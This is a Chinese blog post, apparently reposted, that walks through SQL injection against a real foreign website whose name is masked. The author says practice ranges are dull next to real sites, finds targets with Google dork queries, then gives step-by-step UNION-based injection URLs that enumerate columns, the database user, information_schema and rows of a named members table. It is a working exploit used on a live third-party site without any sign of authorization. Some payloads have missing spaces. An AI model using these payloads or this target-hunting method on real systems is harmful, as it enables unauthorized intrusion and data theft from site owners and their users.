实操：sql注入国外xx网站

最新推荐文章于 2024-06-06 10:59:56 发布

程序员大咖

最新推荐文章于 2024-06-06 10:59:56 发布

阅读量1.1w

点赞数

原文链接：https://j.youzan.com/-2-ESY

版权

作者丨程橙橙

来源丨孑蝉(jiechan-aci)

前言：

学了sql注入一段时间了，也在顺利通关过墨者靶场。不过，靶场哪有真实网站好玩？

何为sql注入？

sql注入就是sql+注入，不清楚可以百度。

寻找网站：

google黑语法：

谷歌搜索也蛮有意思的，打inurl自动推荐了很多关键词，比如：“inurl php id”。

为什么不用百度呢？

少，并且找的多数为国内。

①、试探

http://www.xxx.org/members.php?id=1

用单引号“'”的时候，是会报错的。

接着测试，order by 5 ，以第5列进行排列，报错。当表<=实际列数，就不会报错。

http://www.xxx.org/members.php?id=1 order by 5

http://www.xxx.org/members.php?id=1 order by 4

由以上可知，当前表的列为4。

知道了几列，接下来就能知道回显的是哪几列。

②、联合注入

http://www.xxx.org/members.php?id=1 and false union select 1,2,3,4

回显了2，4列。

http://www.xxx.org/members.php?id=1 and false union select 1,user(),3,database()

接下来查字典库，information_schema。

http://www.xxx.org/members.php?id=1 and false union select 1,user(),3,(selecttable_name from information_schema.tables where table_schema=database() limit0,1)

http://www.xxx.org/members.php?id=1 and false union select 1,(select id from db83231_asfaa.members limit 0,1),3,(select column_name frominformation_schema.columns where table_schema=database() andtable_name='members' limit 0,1)

concat字段查一查，member表里面到底有点啥。

http://www.xxx.org/members.php?id=1 and false union select 1,(select concat(id,nome,imagem,texto) from db83231_asfaa.members limit 0,1),3,(selectcolumn_name from information_schema.columns where table_schema=database() andtable_name='members' limit 0,1)